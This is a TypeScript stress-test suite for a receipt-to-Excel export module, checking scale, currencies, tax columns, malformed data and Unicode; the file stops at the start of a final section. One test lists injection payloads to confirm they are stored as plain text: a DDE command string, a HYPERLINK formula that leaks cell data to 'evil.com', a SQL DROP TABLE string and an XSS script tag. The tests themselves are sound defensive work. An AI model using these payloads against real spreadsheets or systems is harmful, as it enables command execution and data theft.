Brings the working codebase (Next.js app, auth system, Stripe billing, Docker/deploy config, tests, docs) into version control on top of the placeholder initial commit, and adds account self-deletion (Danger Zone in Settings, password + typed-email confirmation, cascading DB cleanup, Stripe cancellation) per GDPR right-to-erasure. Excludes local build caches, node_modules, and internal agent scratch files; .gitignore hardened to keep those out going forward. Co-Authored-By: Claude Sonnet 5 <noreply@anthropic.com>
653 lines
28 KiB
TypeScript
653 lines
28 KiB
TypeScript
/**
|
|
* Empirical Challenger: Adversarial Stress Test & Edge-Case Verification Suite for Excel Generator
|
|
* Target: src/lib/export/excelGenerator.ts
|
|
*
|
|
* Test Dimensions:
|
|
* 1. Extreme Scale (1,000+ line items, 1,000+ receipts, memory and formula integrity)
|
|
* 2. Negative Financials (discounts, stornos, Pfand refunds, [Red] formatting, algebraic sign consistency)
|
|
* 3. Multi-Currency Heterogeneity (EUR, USD, CHF, GBP, JPY, CAD, lowercase, whitespace, symbols, empty)
|
|
* 4. Missing / Malformed / Corrupted Data Objects (undefined/null properties, malformed dates, NaN/Infinity)
|
|
* 5. High-Dimensional Dynamic Tax Rates (0%, 2.5%, 3.8%, 7%, 8.1%, 10%, 13%, 19%, 20%, 25%, >26 columns Z -> AA)
|
|
* 6. Unicode, Emojis, RTL, Special Characters & Formula Injection Strings
|
|
* 7. Dynamic Conditional Columns (Trinkgeld/Tips and Hospitality/Bewirtung visibility)
|
|
* 8. Strict Round-Trip ExcelJS Buffer Parsing & Formula Syntax Verification
|
|
*/
|
|
|
|
import ExcelJS from "exceljs";
|
|
import { describe, test, expect } from "./runner";
|
|
import { generateDualSheetExcel, ExcelExportOptions } from "../../src/lib/export/excelGenerator";
|
|
import { ProcessedReceipt, LineItem, TaxBreakdownItem } from "../../src/lib/schema/receipt";
|
|
|
|
// Helper to construct a base valid receipt
|
|
function createMockReceipt(overrides: Partial<ProcessedReceipt> = {}): ProcessedReceipt {
|
|
return {
|
|
id: `rec-${Math.random().toString(36).slice(2, 9)}`,
|
|
merchant: { name: "Test Merchant GmbH", address: "Musterstraße 1, 10115 Berlin", taxId: "DE123456789", confidence: 0.98 },
|
|
date: { isoDate: "2026-08-16", time: "14:30", confidence: 0.95 },
|
|
documentType: "KASSENBON",
|
|
receiptNumber: "REC-2026-001",
|
|
currency: "EUR",
|
|
totalAmount: { value: 119.00, confidence: 0.99 },
|
|
netAmount: 100.00,
|
|
tipAmount: null,
|
|
taxBreakdown: [
|
|
{ ratePercent: 19, taxAmount: 19.00, netAmount: 100.00 },
|
|
],
|
|
lineItems: [
|
|
{ description: "Standard Item 1", quantity: 1, unitPrice: 100.00, price: 100.00, taxRate: 19 },
|
|
],
|
|
suggestedCategory: "Bürobedarf & IT",
|
|
validation: {
|
|
isMathValid: true,
|
|
isDuplicateSuspected: false,
|
|
needsUserReview: false,
|
|
reviewField: "none",
|
|
reviewReason: null,
|
|
userConfirmed: false,
|
|
},
|
|
imageHash: "hash-test-001",
|
|
originalFileName: "receipt.jpg",
|
|
fileSizeBytes: 204800,
|
|
createdAt: "2026-08-16T14:30:00.000Z",
|
|
updatedAt: "2026-08-16T14:30:00.000Z",
|
|
status: "ready",
|
|
...overrides,
|
|
} as ProcessedReceipt;
|
|
}
|
|
|
|
// Helper to parse buffer back into ExcelJS Workbook
|
|
async function parseExcelBuffer(buffer: Buffer): Promise<ExcelJS.Workbook> {
|
|
const wb = new ExcelJS.Workbook();
|
|
await wb.xlsx.load(buffer as unknown as ArrayBuffer);
|
|
return wb;
|
|
}
|
|
|
|
describe("Adversarial Excel: 1. Extreme Scale & Workloads (1,000+ Items)", () => {
|
|
test("SCALE-1: 1,000 receipts with 1 line item each generates and parses cleanly in < 3s", async () => {
|
|
const receipts: ProcessedReceipt[] = [];
|
|
for (let i = 1; i <= 1000; i++) {
|
|
receipts.push(
|
|
createMockReceipt({
|
|
id: `rec-scale-${i}`,
|
|
receiptNumber: `NO-${i}`,
|
|
merchant: { name: `Merchant ${i}`, address: null, taxId: `DE${100000 + i}`, confidence: 0.9 },
|
|
totalAmount: { value: 10.0 + (i % 50), confidence: 0.95 },
|
|
netAmount: 8.4 + ((i % 50) * 0.84),
|
|
taxBreakdown: [{ ratePercent: 19, taxAmount: 1.6 + ((i % 50) * 0.16), netAmount: 8.4 }],
|
|
lineItems: [{ description: `Item ${i}`, quantity: 1, unitPrice: 10.0 + (i % 50), price: 10.0 + (i % 50), taxRate: 19 }],
|
|
})
|
|
);
|
|
}
|
|
|
|
const t0 = performance.now();
|
|
const buffer = await generateDualSheetExcel(receipts);
|
|
const duration = performance.now() - t0;
|
|
|
|
expect(Buffer.isBuffer(buffer)).toBe(true);
|
|
expect(buffer.length).toBeGreaterThan(50000); // Realistic workbook size > 50KB
|
|
expect(duration).toBeLessThan(3500); // Must generate quickly
|
|
|
|
const wb = await parseExcelBuffer(buffer);
|
|
const overviewSheet = wb.getWorksheet("Belegübersicht");
|
|
const lineItemSheet = wb.getWorksheet("Einzelpositionen Detail");
|
|
|
|
expect(overviewSheet).toBeDefined();
|
|
expect(lineItemSheet).toBeDefined();
|
|
|
|
// Overview: 1 header + 1000 data rows + 1 total row = 1002 rows
|
|
expect(overviewSheet!.rowCount).toBe(1002);
|
|
// Line items: 1 header + 1000 item rows = 1001 rows
|
|
expect(lineItemSheet!.rowCount).toBe(1001);
|
|
|
|
// Verify last data row live formula syntax
|
|
// Overview standard columns: 1: Nr, 2: Date, 3: Merchant, 4: Cat, 5: DocType, 6: RecNo, 7: Net, 8: MwSt 7%, 9: MwSt 19%, 10: Gross, 11: Currency, 12: MwSt gesamt, 13: Netto rechnerisch
|
|
const row1001 = overviewSheet!.getRow(1001);
|
|
const taxTotalCell = row1001.getCell(12).value as { formula?: string };
|
|
const netCalcCell = row1001.getCell(13).value as { formula?: string };
|
|
expect(taxTotalCell.formula).toBe("SUM(H1001:I1001)");
|
|
expect(netCalcCell.formula).toBe("J1001-L1001");
|
|
});
|
|
|
|
test("SCALE-2: Single receipt with 1,500 line items generates and maps correctly", async () => {
|
|
const items: LineItem[] = [];
|
|
let grossSum = 0;
|
|
for (let i = 1; i <= 1500; i++) {
|
|
const price = Math.round((1.5 + (i * 0.05)) * 100) / 100;
|
|
grossSum += price;
|
|
items.push({
|
|
description: `High volume item #${i}`,
|
|
quantity: i % 5 + 1,
|
|
unitPrice: price,
|
|
price: price,
|
|
taxRate: 19,
|
|
});
|
|
}
|
|
|
|
const receipt = createMockReceipt({
|
|
id: "rec-heavy-lines",
|
|
totalAmount: { value: Math.round(grossSum * 100) / 100, confidence: 0.99 },
|
|
netAmount: Math.round((grossSum / 1.19) * 100) / 100,
|
|
taxBreakdown: [{ ratePercent: 19, taxAmount: Math.round((grossSum - grossSum / 1.19) * 100) / 100, netAmount: Math.round((grossSum / 1.19) * 100) / 100 }],
|
|
lineItems: items,
|
|
});
|
|
|
|
const buffer = await generateDualSheetExcel([receipt]);
|
|
const wb = await parseExcelBuffer(buffer);
|
|
|
|
const lineSheet = wb.getWorksheet("Einzelpositionen Detail")!;
|
|
expect(lineSheet.rowCount).toBe(1501); // 1 header + 1500 line items
|
|
|
|
// Check first and last line item rows
|
|
// Col 1: receiptIdx, Col 4: description
|
|
const firstRow = lineSheet.getRow(2);
|
|
expect(firstRow.getCell(1).value).toBe(1);
|
|
expect(firstRow.getCell(4).value).toBe("High volume item #1");
|
|
|
|
const lastRow = lineSheet.getRow(1501);
|
|
expect(lastRow.getCell(1).value).toBe(1);
|
|
expect(lastRow.getCell(4).value).toBe("High volume item #1500");
|
|
});
|
|
});
|
|
|
|
describe("Adversarial Excel: 2. Negative Financials, Discounts & Pfand Refunds", () => {
|
|
test("NEG-1: Negative total amounts (stornos/credit notes) format with [Red] numFmt and algebraic totals", async () => {
|
|
const receipts = [
|
|
createMockReceipt({
|
|
id: "rec-pos",
|
|
totalAmount: { value: 100.0, confidence: 0.99 },
|
|
netAmount: 84.03,
|
|
taxBreakdown: [{ ratePercent: 19, taxAmount: 15.97, netAmount: 84.03 }],
|
|
}),
|
|
createMockReceipt({
|
|
id: "rec-storno",
|
|
merchant: { name: "Retoure & Gutschrift", address: null, taxId: null, confidence: 0.9 },
|
|
totalAmount: { value: -40.0, confidence: 0.99 },
|
|
netAmount: -33.61,
|
|
taxBreakdown: [{ ratePercent: 19, taxAmount: -6.39, netAmount: -33.61 }],
|
|
}),
|
|
];
|
|
|
|
const buffer = await generateDualSheetExcel(receipts);
|
|
const wb = await parseExcelBuffer(buffer);
|
|
const sheet = wb.getWorksheet("Belegübersicht")!;
|
|
|
|
// Col 7: Net, Col 10: Gross
|
|
const row3 = sheet.getRow(3);
|
|
const netCell = row3.getCell(7);
|
|
const grossCell = row3.getCell(10);
|
|
|
|
expect(netCell.value).toBe(-33.61);
|
|
expect(grossCell.value).toBe(-40.0);
|
|
|
|
// Number format must include [Red] for negative visual styling
|
|
expect(netCell.numFmt.includes("[Red]")).toBe(true);
|
|
expect(grossCell.numFmt.includes("[Red]")).toBe(true);
|
|
|
|
// Grand total row formula (Row 4, Col 10: Gross)
|
|
const totalRow = sheet.getRow(4);
|
|
const grossTotalCell = totalRow.getCell(10).value as { formula?: string };
|
|
expect(grossTotalCell.formula).toBe("SUM(J2:J3)");
|
|
});
|
|
|
|
test("NEG-2: Line items with negative Pfand / voucher discounts render without failure", async () => {
|
|
const receipt = createMockReceipt({
|
|
id: "rec-pfand",
|
|
lineItems: [
|
|
{ description: "Mineralwasser Kiste", quantity: 1, unitPrice: 5.99, price: 5.99, taxRate: 19 },
|
|
{ description: "Leergutrückgabe / Pfand", quantity: 1, unitPrice: -3.30, price: -3.30, taxRate: 19 },
|
|
{ description: "Aktionsgutschein Rabatt", quantity: 1, unitPrice: -1.50, price: -1.50, taxRate: 19 },
|
|
],
|
|
totalAmount: { value: 1.19, confidence: 0.99 },
|
|
netAmount: 1.00,
|
|
taxBreakdown: [{ ratePercent: 19, taxAmount: 0.19, netAmount: 1.00 }],
|
|
});
|
|
|
|
const buffer = await generateDualSheetExcel([receipt]);
|
|
const wb = await parseExcelBuffer(buffer);
|
|
const lineSheet = wb.getWorksheet("Einzelpositionen Detail")!;
|
|
|
|
expect(lineSheet.rowCount).toBe(4); // 1 header + 3 items
|
|
// Col 4: Description, Col 8: Line Total Price
|
|
const pfandRow = lineSheet.getRow(3);
|
|
expect(pfandRow.getCell(4).value).toBe("Leergutrückgabe / Pfand");
|
|
expect(pfandRow.getCell(8).value).toBe(-3.30);
|
|
expect(pfandRow.getCell(8).numFmt.includes("[Red]")).toBe(true);
|
|
|
|
const discountRow = lineSheet.getRow(4);
|
|
expect(discountRow.getCell(8).value).toBe(-1.50);
|
|
});
|
|
});
|
|
|
|
describe("Adversarial Excel: 3. Multi-Currency Heterogeneity & Breakdown Matrix", () => {
|
|
test("CURR-1: Single currency EUR includes (€) suffix and standard SUM total", async () => {
|
|
const receipts = [
|
|
createMockReceipt({ currency: "EUR", totalAmount: { value: 50.0, confidence: 0.99 } }),
|
|
createMockReceipt({ currency: "EUR", totalAmount: { value: 30.0, confidence: 0.99 } }),
|
|
];
|
|
|
|
const buffer = await generateDualSheetExcel(receipts);
|
|
const wb = await parseExcelBuffer(buffer);
|
|
const sheet = wb.getWorksheet("Belegübersicht")!;
|
|
|
|
// Header Col 7: Net
|
|
const netHeader = sheet.getRow(1).getCell(7).value;
|
|
expect(String(netHeader)).toContain("(€)");
|
|
|
|
// Grand total row: Col 3 is Merchant label, Col 10 is Gross Total, Col 11 is Currency
|
|
const totalRow = sheet.getRow(4);
|
|
expect(totalRow.getCell(3).value).toBe("GESAMTSUMME");
|
|
const grossTotal = totalRow.getCell(10).value as { formula?: string };
|
|
expect(grossTotal.formula).toBe("SUM(J2:J3)");
|
|
expect(totalRow.getCell(11).value).toBe("EUR");
|
|
});
|
|
|
|
test("CURR-2: Single non-EUR currency (USD) applies USD code in headers, formatting and total", async () => {
|
|
const receipts = [
|
|
createMockReceipt({ currency: "USD", totalAmount: { value: 45.0, confidence: 0.99 } }),
|
|
];
|
|
|
|
const buffer = await generateDualSheetExcel(receipts);
|
|
const wb = await parseExcelBuffer(buffer);
|
|
const sheet = wb.getWorksheet("Belegübersicht")!;
|
|
|
|
const netHeader = sheet.getRow(1).getCell(7).value;
|
|
expect(String(netHeader)).toContain("(USD)");
|
|
|
|
const totalRow = sheet.getRow(3);
|
|
expect(totalRow.getCell(11).value).toBe("USD");
|
|
});
|
|
|
|
test("CURR-3: Mixed currencies (EUR, USD, CHF, GBP, JPY) disables blind sum and generates SUMIFS matrix", async () => {
|
|
const receipts = [
|
|
createMockReceipt({ currency: "EUR", suggestedCategory: "Reisekosten & Hotel", totalAmount: { value: 100.0, confidence: 0.99 } }),
|
|
createMockReceipt({ currency: "USD", suggestedCategory: "Bürobedarf & IT", totalAmount: { value: 200.0, confidence: 0.99 } }),
|
|
createMockReceipt({ currency: "CHF", suggestedCategory: "Reisekosten & Hotel", totalAmount: { value: 150.0, confidence: 0.99 } }),
|
|
createMockReceipt({ currency: "GBP", suggestedCategory: "Sonstiges", totalAmount: { value: 50.0, confidence: 0.99 } }),
|
|
createMockReceipt({ currency: "JPY", suggestedCategory: "Bewirtung", totalAmount: { value: 5000.0, confidence: 0.99 } }),
|
|
];
|
|
|
|
const buffer = await generateDualSheetExcel(receipts);
|
|
const wb = await parseExcelBuffer(buffer);
|
|
const sheet = wb.getWorksheet("Belegübersicht")!;
|
|
|
|
// Header Col 7: Net must NOT have a single currency suffix
|
|
const netHeader = String(sheet.getRow(1).getCell(7).value);
|
|
expect(netHeader.endsWith("(€)")).toBe(false);
|
|
expect(netHeader.endsWith("(USD)")).toBe(false);
|
|
|
|
// Total row merchant cell (Col 3) has mixed notice
|
|
const totalRow = sheet.getRow(7);
|
|
expect(String(totalRow.getCell(3).value)).toContain("mehrere Währungen");
|
|
// Mixed currency MUST NOT sum across currencies in the main table row
|
|
expect(totalRow.getCell(10).value).toBeNull();
|
|
|
|
// Verify Category Summary block (placed to the right of the main table)
|
|
// Summary headers should start at column (lastCol + 2)
|
|
let summaryCol = -1;
|
|
sheet.getRow(1).eachCell((cell, colNumber) => {
|
|
if (cell.value === "Auswertung je Kategorie" || cell.value === "Kategorie") {
|
|
summaryCol = colNumber;
|
|
}
|
|
});
|
|
expect(summaryCol).toBeGreaterThan(10);
|
|
|
|
// Check that SUMIFS is used for mixed currency category rows
|
|
const summaryDataRow = sheet.getRow(2);
|
|
const countFormula = summaryDataRow.getCell(summaryCol + 2).value as { formula?: string };
|
|
expect(countFormula.formula).toContain("COUNTIFS(");
|
|
|
|
const sumFormula = summaryDataRow.getCell(summaryCol + 3).value as { formula?: string };
|
|
expect(sumFormula.formula).toContain("SUMIFS(");
|
|
});
|
|
|
|
test("CURR-4: Unusual and unsanitized currency strings (lowercase, whitespace, symbols, empty)", async () => {
|
|
const receipts = [
|
|
createMockReceipt({ currency: " usd " as any }),
|
|
createMockReceipt({ currency: "eur" as any }),
|
|
createMockReceipt({ currency: "" as any }),
|
|
createMockReceipt({ currency: undefined as any }),
|
|
createMockReceipt({ currency: "$$$" as any }),
|
|
];
|
|
|
|
const buffer = await generateDualSheetExcel(receipts);
|
|
const wb = await parseExcelBuffer(buffer);
|
|
const sheet = wb.getWorksheet("Belegübersicht")!;
|
|
|
|
// Currency values in data rows: Col 11 is currency
|
|
expect(sheet.getRow(2).getCell(11).value).toBe("USD");
|
|
expect(sheet.getRow(3).getCell(11).value).toBe("EUR");
|
|
expect(sheet.getRow(4).getCell(11).value).toBe("EUR"); // empty string defaults to EUR
|
|
expect(sheet.getRow(5).getCell(11).value).toBe("EUR"); // undefined defaults to EUR
|
|
expect(sheet.getRow(6).getCell(11).value).toBe("$$$");
|
|
});
|
|
});
|
|
|
|
describe("Adversarial Excel: 4. Missing, Null, Undefined & Malformed Objects", () => {
|
|
test("DEF-1: Completely empty or corrupted receipt objects do not throw exceptions", async () => {
|
|
const dirtyReceipts: any[] = [
|
|
{},
|
|
{ id: "empty-1" },
|
|
{ merchant: null, date: null, totalAmount: null, lineItems: null, taxBreakdown: null },
|
|
{ merchant: { name: undefined, taxId: undefined }, totalAmount: { value: undefined } },
|
|
null,
|
|
undefined,
|
|
];
|
|
|
|
const buffer = await generateDualSheetExcel(dirtyReceipts);
|
|
expect(Buffer.isBuffer(buffer)).toBe(true);
|
|
|
|
const wb = await parseExcelBuffer(buffer);
|
|
const overview = wb.getWorksheet("Belegübersicht")!;
|
|
const lineItems = wb.getWorksheet("Einzelpositionen Detail")!;
|
|
|
|
expect(overview).toBeDefined();
|
|
expect(lineItems).toBeDefined();
|
|
// 4 non-null receipts + 1 header + 1 total = 6 rows in overview
|
|
expect(overview.rowCount).toBe(6);
|
|
});
|
|
|
|
test("DEF-2: Date edge cases (invalid strings, leap years, non-ISO formats)", async () => {
|
|
const receipts = [
|
|
createMockReceipt({ date: { isoDate: "2026-08-15", time: null, confidence: 0.9 } }), // valid
|
|
createMockReceipt({ date: { isoDate: "2024-02-29", time: null, confidence: 0.9 } }), // leap year valid
|
|
createMockReceipt({ date: { isoDate: "2026-02-29", time: null, confidence: 0.9 } }), // 2026 leap day invalid -> kept as text
|
|
createMockReceipt({ date: { isoDate: "15.08.2026", time: null, confidence: 0.9 } }), // German format -> text
|
|
createMockReceipt({ date: { isoDate: "not-a-date", time: null, confidence: 0.9 } }), // invalid -> text
|
|
createMockReceipt({ date: null as any }), // null -> text ""
|
|
];
|
|
|
|
const buffer = await generateDualSheetExcel(receipts);
|
|
const wb = await parseExcelBuffer(buffer);
|
|
const sheet = wb.getWorksheet("Belegübersicht")!;
|
|
|
|
// Col 2: Date
|
|
// Row 2: valid Date object
|
|
const cellValid = sheet.getRow(2).getCell(2);
|
|
expect(cellValid.value instanceof Date).toBe(true);
|
|
expect(cellValid.numFmt).toBe("DD.MM.YYYY");
|
|
|
|
// Row 3: valid leap year 2024 Date object
|
|
const cellLeap = sheet.getRow(3).getCell(2);
|
|
expect(cellLeap.value instanceof Date).toBe(true);
|
|
|
|
// Row 4: invalid 2026-02-29 preserved as raw string
|
|
const cellInvalidLeap = sheet.getRow(4).getCell(2);
|
|
expect(typeof cellInvalidLeap.value).toBe("string");
|
|
expect(cellInvalidLeap.value).toBe("2026-02-29");
|
|
|
|
// Row 5: German dot format preserved as text
|
|
const cellDot = sheet.getRow(5).getCell(2);
|
|
expect(cellDot.value).toBe("15.08.2026");
|
|
|
|
// Row 6: invalid string preserved
|
|
const cellText = sheet.getRow(6).getCell(2);
|
|
expect(cellText.value).toBe("not-a-date");
|
|
|
|
// Row 7: null preserved as empty string
|
|
const cellNull = sheet.getRow(7).getCell(2);
|
|
expect(cellNull.value).toBe("");
|
|
});
|
|
|
|
test("DEF-3: Completely empty dataset [] produces valid workbook with empty placeholder", async () => {
|
|
const buffer = await generateDualSheetExcel([]);
|
|
const wb = await parseExcelBuffer(buffer);
|
|
|
|
const overview = wb.getWorksheet("Belegübersicht")!;
|
|
const lineItems = wb.getWorksheet("Einzelpositionen Detail")!;
|
|
|
|
// Overview has header row and grand total row
|
|
expect(overview.rowCount).toBe(2);
|
|
// Line items has header row and the 'no items' informative row
|
|
expect(lineItems.rowCount).toBe(2);
|
|
expect(String(lineItems.getRow(2).getCell(1).value)).toContain("keine Einzelpositionen erfasst");
|
|
});
|
|
});
|
|
|
|
describe("Adversarial Excel: 5. High-Dimensional Dynamic Tax Rates (> 26 Columns / Z -> AA)", () => {
|
|
test("TAX-1: Many dynamic tax rates spanning beyond 26 columns (AA, AB, AC...) with accurate SUM formulas", async () => {
|
|
// Generate 25 distinct tax rates across receipts: 0.5%, 1%, 2% ... 25%, plus standard 7% and 19%
|
|
const taxRatesList = [
|
|
0.5, 1, 2, 2.5, 3, 3.5, 4, 4.5, 5, 5.5, 6, 7.7, 8, 8.1, 8.875, 10, 11, 12, 13, 14, 15, 16, 17, 18, 20, 21, 22, 23, 24, 25
|
|
];
|
|
|
|
const receipts: ProcessedReceipt[] = taxRatesList.map((rate, idx) => {
|
|
return createMockReceipt({
|
|
id: `rec-tax-${idx}`,
|
|
totalAmount: { value: 100 + rate, confidence: 0.99 },
|
|
netAmount: 100,
|
|
taxBreakdown: [
|
|
{ ratePercent: rate, taxAmount: rate, netAmount: 100 },
|
|
],
|
|
});
|
|
});
|
|
|
|
const buffer = await generateDualSheetExcel(receipts);
|
|
const wb = await parseExcelBuffer(buffer);
|
|
const sheet = wb.getWorksheet("Belegübersicht")!;
|
|
|
|
// Check column count in Overview sheet
|
|
const headerRow = sheet.getRow(1);
|
|
let totalCols = 0;
|
|
headerRow.eachCell(() => totalCols++);
|
|
|
|
// 7 standard initial cols + 32 tax cols + gross + currency + taxTotal + netCalc + taxId + status = 45+ cols
|
|
expect(totalCols).toBeGreaterThan(35);
|
|
|
|
// Verify row 2 formulas:
|
|
// With 32 tax rates: firstTaxCol = 8 (H), lastTaxCol = 8 + 32 - 1 = 39 (AM)
|
|
// grossCol = 40 (AN), currencyCol = 41 (AO), taxTotalCol = 42 (AP), netCalcCol = 43 (AQ)
|
|
const row2 = sheet.getRow(2);
|
|
const taxTotalCell = row2.getCell(42).value as { formula?: string };
|
|
expect(taxTotalCell).toBeDefined();
|
|
expect(taxTotalCell.formula).toBe("SUM(H2:AM2)");
|
|
|
|
const netCalcCell = row2.getCell(43).value as { formula?: string };
|
|
expect(netCalcCell).toBeDefined();
|
|
expect(netCalcCell.formula).toBe("AN2-AP2");
|
|
});
|
|
|
|
test("TAX-2: Zero-tax-amount entries (taxAmount = 0) do not create redundant non-standard columns", async () => {
|
|
const receipts = [
|
|
createMockReceipt({
|
|
taxBreakdown: [
|
|
{ ratePercent: 19, taxAmount: 19.0, netAmount: 100.0 },
|
|
{ ratePercent: 0, taxAmount: 0.0, netAmount: 50.0 }, // 0% with 0.00 tax
|
|
{ ratePercent: 13, taxAmount: 0.0, netAmount: 10.0 }, // 13% with 0.00 tax -> must not create 13% column
|
|
],
|
|
}),
|
|
];
|
|
|
|
const buffer = await generateDualSheetExcel(receipts);
|
|
const wb = await parseExcelBuffer(buffer);
|
|
const sheet = wb.getWorksheet("Belegübersicht")!;
|
|
|
|
const headers: string[] = [];
|
|
sheet.getRow(1).eachCell((c) => headers.push(String(c.value ?? "")));
|
|
|
|
// 7% and 19% standard rates must always exist
|
|
expect(headers.some((h) => h.includes("MwSt 7 %"))).toBe(true);
|
|
expect(headers.some((h) => h.includes("MwSt 19 %"))).toBe(true);
|
|
// 13% with 0 tax amount should NOT create a dedicated column
|
|
expect(headers.some((h) => h.includes("MwSt 13 %"))).toBe(false);
|
|
});
|
|
});
|
|
|
|
describe("Adversarial Excel: 6. Unicode, RTL, Emojis & Formula Injection Attacks", () => {
|
|
test("SEC-1: Malicious spreadsheet formula injection strings are treated safely as raw text", async () => {
|
|
const injectionStrings = [
|
|
"=SUM(A1:A10)",
|
|
"+cmd|' /C calc'!A0",
|
|
"-@SUM(1,2)",
|
|
"@HYPERLINK(\"http://evil.com?leak=\"&A1, \"Click Me\")",
|
|
"=1+1",
|
|
"'; DROP TABLE receipts; --",
|
|
"<script>alert('xss')</script>",
|
|
];
|
|
|
|
const receipts = injectionStrings.map((payload, idx) => {
|
|
return createMockReceipt({
|
|
id: `rec-inj-${idx}`,
|
|
merchant: { name: payload, address: payload, taxId: payload, confidence: 0.9 },
|
|
receiptNumber: payload,
|
|
suggestedCategory: payload as any,
|
|
lineItems: [
|
|
{ description: payload, quantity: 1, unitPrice: 10.0, price: 10.0, taxRate: 19 },
|
|
],
|
|
});
|
|
});
|
|
|
|
const buffer = await generateDualSheetExcel(receipts);
|
|
const wb = await parseExcelBuffer(buffer);
|
|
|
|
const overview = wb.getWorksheet("Belegübersicht")!;
|
|
const lineSheet = wb.getWorksheet("Einzelpositionen Detail")!;
|
|
|
|
// Overview cols: 3: Merchant, 4: Category, 6: ReceiptNo
|
|
// Line items cols: 4: Description
|
|
injectionStrings.forEach((payload, idx) => {
|
|
const row = overview.getRow(idx + 2);
|
|
expect(row.getCell(3).value).toBe(payload);
|
|
expect(row.getCell(4).value).toBe(payload);
|
|
expect(row.getCell(6).value).toBe(payload);
|
|
|
|
const lineRow = lineSheet.getRow(idx + 2);
|
|
expect(lineRow.getCell(4).value).toBe(payload);
|
|
});
|
|
});
|
|
|
|
test("SEC-2: Multilingual, RTL, CJK & Multi-byte Emoji strings preserve exact fidelity", async () => {
|
|
const testCases = [
|
|
{ name: "☕ Café Süß & Lecker 🥨 GmbH", cat: "🍽️ Bewirtung", item: "Cappuccino Grande ☕ & Croissant 🥐" },
|
|
{ name: "寿司 🍣 居酒屋 東京 Tokyo", cat: "食事 🍜", item: "サーモン 刺身 盛り合わせ 🍱" },
|
|
{ name: "مكتبة النور للكتب والقرطاسية", cat: "مستلزمات مكتبية", item: "دفتر ملاحظات وقلم فاخر ✒️" },
|
|
{ name: "Большой театр сувениры 🎭", cat: "Культура", item: "Билет на балет 'Щелкунчик' 🎟️" },
|
|
{ name: "Frühstückscafé 'Zur Gemütlichkeit' <Special>", cat: "Essen & Trinken", item: "100% Bio-Vollmilch & Käse-Schinken-Toast" },
|
|
];
|
|
|
|
const receipts = testCases.map((tc, idx) => {
|
|
return createMockReceipt({
|
|
id: `rec-uni-${idx}`,
|
|
merchant: { name: tc.name, address: null, taxId: null, confidence: 0.9 },
|
|
suggestedCategory: tc.cat as any,
|
|
lineItems: [{ description: tc.item, quantity: 1, unitPrice: 25.0, price: 25.0, taxRate: 19 }],
|
|
});
|
|
});
|
|
|
|
const buffer = await generateDualSheetExcel(receipts);
|
|
const wb = await parseExcelBuffer(buffer);
|
|
const overview = wb.getWorksheet("Belegübersicht")!;
|
|
const lineSheet = wb.getWorksheet("Einzelpositionen Detail")!;
|
|
|
|
testCases.forEach((tc, idx) => {
|
|
const row = overview.getRow(idx + 2);
|
|
expect(row.getCell(3).value).toBe(tc.name);
|
|
expect(row.getCell(4).value).toBe(tc.cat);
|
|
|
|
const lineRow = lineSheet.getRow(idx + 2);
|
|
expect(lineRow.getCell(4).value).toBe(tc.item);
|
|
});
|
|
});
|
|
});
|
|
|
|
describe("Adversarial Excel: 7. Conditional Columns (Trinkgeld & Hospitality)", () => {
|
|
test("COND-1: Hospitality columns appear ONLY when hospitality data is present", async () => {
|
|
// 1. Without hospitality
|
|
const withoutHosp = [createMockReceipt({ hospitality: undefined, documentType: "KASSENBON" })];
|
|
const buf1 = await generateDualSheetExcel(withoutHosp);
|
|
const wb1 = await parseExcelBuffer(buf1);
|
|
const headers1: string[] = [];
|
|
wb1.getWorksheet("Belegübersicht")!.getRow(1).eachCell((c) => headers1.push(String(c.value ?? "")));
|
|
|
|
expect(headers1.some((h) => h.includes("Anlass"))).toBe(false);
|
|
expect(headers1.some((h) => h.includes("Teilnehmer"))).toBe(false);
|
|
|
|
// 2. With hospitality
|
|
const withHosp = [
|
|
createMockReceipt({
|
|
documentType: "BEWIRTUNGSBELEG",
|
|
hospitality: { occasion: "Kundengespräch Roadmap 2026", participants: "Max Mustermann, Jane Doe" } as any,
|
|
}),
|
|
];
|
|
const buf2 = await generateDualSheetExcel(withHosp);
|
|
const wb2 = await parseExcelBuffer(buf2);
|
|
const sheet2 = wb2.getWorksheet("Belegübersicht")!;
|
|
const headers2: string[] = [];
|
|
sheet2.getRow(1).eachCell((c) => headers2.push(String(c.value ?? "")));
|
|
|
|
expect(headers2.some((h) => h.includes("Anlass (Bewirtung)"))).toBe(true);
|
|
expect(headers2.some((h) => h.includes("Teilnehmer (Bewirtung)"))).toBe(true);
|
|
|
|
const occasionCol = headers2.indexOf("Anlass (Bewirtung)") + 1;
|
|
const partCol = headers2.indexOf("Teilnehmer (Bewirtung)") + 1;
|
|
|
|
const rowHosp = sheet2.getRow(2);
|
|
expect(rowHosp.getCell(occasionCol).value).toBe("Kundengespräch Roadmap 2026");
|
|
expect(rowHosp.getCell(partCol).value).toBe("Max Mustermann, Jane Doe");
|
|
});
|
|
|
|
test("COND-2: Tip columns appear ONLY when tip amount is present and calculate correctly", async () => {
|
|
// 1. Without tip
|
|
const bufNoTip = await generateDualSheetExcel([createMockReceipt({ tipAmount: null })]);
|
|
const wbNoTip = await parseExcelBuffer(bufNoTip);
|
|
const headersNoTip: string[] = [];
|
|
wbNoTip.getWorksheet("Belegübersicht")!.getRow(1).eachCell((c) => headersNoTip.push(String(c.value ?? "")));
|
|
expect(headersNoTip.some((h) => h.includes("Trinkgeld"))).toBe(false);
|
|
expect(headersNoTip.some((h) => h.includes("Gesamt gezahlt"))).toBe(false);
|
|
|
|
// 2. With tip
|
|
const bufWithTip = await generateDualSheetExcel([
|
|
createMockReceipt({
|
|
totalAmount: { value: 50.0, confidence: 0.99 },
|
|
tipAmount: 5.0,
|
|
}),
|
|
]);
|
|
const wbWithTip = await parseExcelBuffer(bufWithTip);
|
|
const sheetWithTip = wbWithTip.getWorksheet("Belegübersicht")!;
|
|
const headersWithTip: string[] = [];
|
|
sheetWithTip.getRow(1).eachCell((c) => headersWithTip.push(String(c.value ?? "")));
|
|
|
|
expect(headersWithTip.some((h) => h.includes("Trinkgeld"))).toBe(true);
|
|
expect(headersWithTip.some((h) => h.includes("Gesamt gezahlt"))).toBe(true);
|
|
|
|
// In Overview with tip:
|
|
// Col 10: Gross (J), Col 14: Tip (N), Col 15: PaidTotal (O)
|
|
const row2 = sheetWithTip.getRow(2);
|
|
expect(row2.getCell(14).value).toBe(5.0);
|
|
const paidFormula = (row2.getCell(15).value as { formula?: string }).formula;
|
|
expect(paidFormula).toBe("J2+N(N2)");
|
|
});
|
|
});
|
|
|
|
describe("Adversarial Excel: 8. Layout, Views, Print Setup & Styling Invariants", () => {
|
|
